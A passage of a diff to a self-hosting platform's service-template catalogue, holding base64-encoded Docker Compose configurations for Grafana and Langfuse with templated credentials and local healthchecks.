"c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgICAgLSBHRl9EQVRBQkFTRV9UWVBFPXBvc3RncmVzCiAgICAgIC0gR0ZfREFUQUJBU0VfSE9TVD1wb3N0Z3Jlc3FsCiAgICAgIC0gR0ZfREFUQUJBU0VfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gR0ZfREFUQUJBU0VfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnR0ZfREFUQUJBU0VfTkFNRT0ke1BPU1RHUkVTX0RCOi1ncmFmYW5hfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgLSBwb3N0Z3Jlc3FsCiAgcG9zdGdyZXNxbDoKICAgIGltYWdlOiAncG9zdGdyZXM6MTYtYWxwaW5lJwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNxbC1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWdyYWZhbmF9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -1862,7 +1878,7 @@ "grafana": { "documentation": "https://grafana.com?utm_source=coolify.io", "slogan": "Grafana is the open source analytics & monitoring solution for every database.", - "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX1VSTF9HUkFGQU5BfScKICAgICAgLSAnR0ZfU0VDVVJJVFlfQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0dSQUZBTkF9JwogICAgdm9sdW1lczoKICAgICAgLSAnZ3JhZmFuYS1kYXRhOi92YXIvbGliL2dyYWZhbmEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgZ3JhZmFuYToKICAgIGltYWdlOiBncmFmYW5hL2dyYWZhbmEtb3NzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9HUkFGQU5BXzMwMDAKICAgICAgLSAnR0ZfU0VSVkVSX1JPT1RfVVJMPSR7U0VSVklDRV9VUkxfR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFUlZFUl9ET01BSU49JHtTRVJWSUNFX0ZRRE5fR1JBRkFOQX0nCiAgICAgIC0gJ0dGX1NFQ1VSSVRZX0FETUlOX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9HUkFGQU5BfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2dyYWZhbmEtZGF0YTovdmFyL2xpYi9ncmFmYW5hJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "grafana", "analytics", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19F